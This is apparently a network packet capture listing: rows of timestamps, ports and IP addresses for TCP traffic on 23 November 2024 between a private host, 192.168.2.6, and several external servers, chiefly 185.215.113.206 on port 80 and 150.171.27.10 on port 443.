Nov 23, 2024 19:52:26.245728016 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.246051073 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:26.246066093 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:26.249214888 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.249284983 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.249305010 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.249344110 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.294397116 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.294421911 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.294497013 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.294533014 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.294604063 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.294604063 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.300863028 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.300883055 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.300939083 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.300951004 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.301002026 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.301002026 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.307461977 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.307481050 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.307552099 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.307562113 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.307615042 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.313251019 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.313270092 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.313318014 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.313327074 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.313365936 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.313365936 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.319843054 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.319860935 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.319948912 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.319958925 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.320030928 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.325999975 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.326016903 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.326118946 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.326128960 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.326301098 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.332519054 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.332536936 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.332583904 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.332595110 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.332633018 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.332755089 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.382105112 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.382122993 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.382184982 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.382201910 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.382232904 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.382267952 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.423829079 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.423893929 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.423947096 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.424063921 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.425337076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.425417900 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.425740957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.425848007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.425892115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.425910950 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.429482937 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.429533005 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.429593086 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.429610014 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.433170080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.433239937 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.433271885 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.433511972 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.436841011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.437040091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.437093973 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.437444925 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.440557003 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.440623045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.440633059 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.440759897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.444247961 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.444313049 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.444355965 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.444406033 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.447941065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.448060036 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.448062897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.448386908 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.451678991 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.451765060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.451807022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.451807976 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.455369949 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.455460072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.455595016 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.459018946 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.459146023 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.459233046 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.462702990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.463713884 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.473592043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.473632097 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.473669052 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.473669052 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.474690914 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.474776983 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.474858999 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.478394032 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.478497028 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.478512049 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.478579998 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.482074022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.482170105 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.482235909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.482311010 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.485758066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.485847950 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.485861063 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.485980034 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.489537954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.489588022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.489658117 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.489787102 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.493160963 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.493247986 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.493341923 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.496849060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.496903896 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.496958017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.497003078 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.500590086 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.500632048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.500694036 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.500796080 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.504271984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.504368067 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.514755964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.514821053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.514838934 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.514878035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.515860081 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.515930891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.515942097 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.515985966 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.519548893 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.519665956 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.519670963 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.519836903 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.524142981 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.524167061 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.524220943 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.524240017 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.524292946 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.524292946 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.530734062 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.530750036 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.530838013 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.530848980 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.531017065 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.536480904 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.536499023 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.536551952 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.536561966 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.536631107 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.543010950 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.543044090 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.543132067 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.543133020 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.543145895 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.543210030 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.549671888 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.549685955 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.549741030 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.549750090 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.549781084 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.549886942 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.555972099 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.555989027 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.556087971 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.556087971 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.556098938 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.556175947 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.561588049 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.561640024 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.561664104 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.561674118 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.561707020 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.561717033 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.561717987 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.561815023 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.564295053 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.564311028 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.599040031 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.599104881 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.599205017 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.600166082 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.600249052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.600270987 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.600311995 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.603713989 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.603789091 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.603856087 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.603904963 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.605958939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.606072903 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.606072903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.606326103 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.609700918 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.609787941 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.609797001 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.609858036 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.613370895 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.613464117 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.613519907 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.617072105 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.617166042 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.617201090 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.617201090 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.620754004 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.620815992 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.620865107 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.620925903 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.624442101 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.624542952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.624636889 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.628124952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.628273010 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.639925957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.640007973 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.640045881 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.640089035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.641726971 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.641820908 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.642098904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.642173052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.642174959 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.642357111 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.645802975 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.645853996 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.646038055 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.649537086 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.649605036 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.724775076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.724854946 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.724873066 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.724929094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.726470947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.726594925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.726615906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.726653099 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.729942083 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.730053902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.730129004 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.733367920 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.733462095 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.733491898 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.733645916 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.736952066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.737060070 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.737081051 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.737152100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.740231037 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.740345955 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.740392923 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.740392923 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.743652105 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.743716002 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.743778944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.743844032 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.747092009 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.747159004 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.747200012 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.747344971 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.749923944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.750025988 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.750097036 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.750138044 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.766576052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.766680956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.766710043 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.766741991 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.767920017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.767978907 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.768026114 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.770689964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.770819902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.770884037 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.770884037 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.773510933 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.773580074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.793483973 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:26.800884962 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:26.800935030 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:26.802021980 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:26.802047014 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:26.825295925 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:26.825809956 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:26.825845003 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:26.826385021 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:26.826391935 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:26.849551916 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.849627018 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.849648952 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.849685907 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.850389004 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.850461960 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.850507975 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.850614071 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.853113890 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.853178024 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.853224993 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.853351116 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.855290890 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.855331898 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.855405092 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.855456114 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.858040094 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.858117104 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.858150959 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.858200073 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.860898018 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.860997915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.861020088 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.861062050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.863543987 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.863620043 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.863673925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.863718987 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.866338968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.866430044 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.866458893 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.866585016 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.869091988 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.869127035 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.869173050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.869173050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.871825933 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.871898890 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.892580986 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.892591953 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.892653942 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.893384933 CET	80	49736	185.215.113.206	192.168.2.6
